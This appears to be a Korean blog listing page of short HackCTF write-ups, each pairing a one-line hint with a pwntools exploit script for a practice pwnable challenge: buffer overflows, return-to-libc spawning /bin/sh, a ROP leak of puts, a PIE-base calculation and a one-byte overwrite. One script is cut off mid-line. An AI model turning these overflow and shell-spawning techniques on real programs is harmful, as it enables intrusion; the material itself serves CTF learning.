전체 글 (109) 썸네일형 리스트형 HackCTF - Random Key rand 함수 취약점 문제이다 같은 값을 생성하는 코드를 짜고 동시에 돌리면 된다 #include #include #include int main(){ int v3,v5; v3 = time(0LL); srand(time(0LL);); v5 = rand(); printf("%d\n", v5); return 0; } HackCTF - 1996 너무 간단해서 할 말이 없다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3013) payload = 'A'*1048 payload += p64(0x400897) r.sendline(payload) r.interactive() HackCTF - Poet 두 주소의 차를 구한 후 0xf420을 주면 풀린다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3012) payload = 'A'*64 payload += p64(0xF4240) r.sendline('AAAA') r.sendline(payload) r.interactive() HackCTF - g++ pwn I 랑 you 가 있길래 터미널에 둘 다 썼더니 I 가 you로 바뀌는 것을 볼 수 있었다 이를 이용해 익스를 하면 된다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3011) e = ELF('./gpwn', checksec=False) payload = 'I'*20 payload += 'AAAA' payload += p32(e.sym['get_flag']) r.sendline(payload) r.interactive() HackCTF - RTL_World read에서 취약점이 발생하고 문제 제목대로 RTL 를 진행하면 된다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3010) e = ELF('./rtl_world') r.sendlineafter('>>> ','5') payload = 'A'*144 payload += p32(e.sym['system']) payload += 'AAAA' payload += p32(e.search('/bin/sh\x00').next()) r.sendline(payload) r.interactive() HackCTF - Yes or no gdb로 확인해보면 값을 넣고 gets 를 이용해 rop 를 진행하면 된다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3009) e = ELF('./yes_or_no', checksec=False) libc = ELF('./libc-2.27.so', checksec=False) r.sendline('9830400') r.recvuntil('me\n') payload = 'A'*26 payload += p64(0x0400883) payload += p64(e.got['puts']) payload += p64(e.plt['puts']) payload += p64(e.sym['main']) r.sendline(payload) leak = u64(r.recv(6)+ .. HackCTF - BOF_PIE welcome 주소를 출력하기 때문에 pie_base를 구할 수 있고 pie_base + j0n9hyun을 해서 주소를 구한 후 더미 + (pie_base + j0n9hyun) 해서 전달하면 된다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3008) e = ELF('bof_pie') r.recvuntil('is ') pie_base = int(r.recv(10), 16)-e.sym['welcome'] payload = 'A'*22 payload += p32(pie_base+e.sym['j0n9hyun']) r.sendline(payload) r.interactive() HackCTF - Offset 이번에는 PIE가 걸려있다 gets 함수가 쓰이긴하는데 중요하지 않다 함수 이름부터 수상하다 strcmp 로 1바이트 오버플로우가 발생한다 gdb 로 strcmp 까지 확인해보면 빨간칸에 있는게 30개이고 나머지 한 바이트를 \xd6으로 바꾸면 0x56555600이 0x565556d6으로 바껴 플래그가 출력 될 것이다 from pwn import * r = remote('ctf.j0n9hyun.xyz', 3007) e = ELF('offset') payload = 'a'*30 payload += '\xd8' r.sendline(payload) r.interactive() 이전 1 2 3 4 5 6 ··· 14 다음